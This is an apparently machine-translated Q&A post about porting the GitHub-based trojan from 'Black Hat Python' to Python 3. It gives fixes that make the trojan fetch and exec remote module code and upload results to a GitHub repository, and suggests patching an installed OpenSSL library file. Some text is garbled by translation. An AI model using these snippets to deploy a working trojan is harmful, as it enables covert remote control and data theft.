我跟随Justin Seitz的书＆＃34; Black Hat Python。＆＃34;在本章中，我们使用GitHub编写一个特洛伊木马来执行命令和控制，并使用github3.py与GitHub进行交互。问题是本书使用python2，我试图在python3中做到这一点。我收到了追溯错误，＆＃34;查找错误：未知编码：charmap＆＃34;。我该如何解决这个错误？
这是追溯：

对于此问题，您可以编辑文件：
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py
将导致错误的行更改为：
return s.encode()

感谢上述帮助。总之，可通过以下三个步骤解决该错误：
1）修改/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py，删除“字符映射表”
2）更改为tree = branch.commit.commit.tree.to_tree（）。recurse（）
3）exec（self.current_module_code，module。 dict ）
现在正在工作。谢谢。

在函数get_file_contents中，替换：
tree = branch.commit.commit.tree.recurse()
具有：
tree = branch.commit.commit.tree.to_tree().recurse()
在函数store_module_result中，替换：
repo.create_file(remote_path, "Commit message", base64.b64encode(data))
具有：
repo.create_file(remote_path, "Commit message", base64.b64encode(data.encode()))
在方法load_module中，替换：
exec(self.current_module_code in module.__dict__)
具有：
exec(self.current_module_code, module.__dict__)
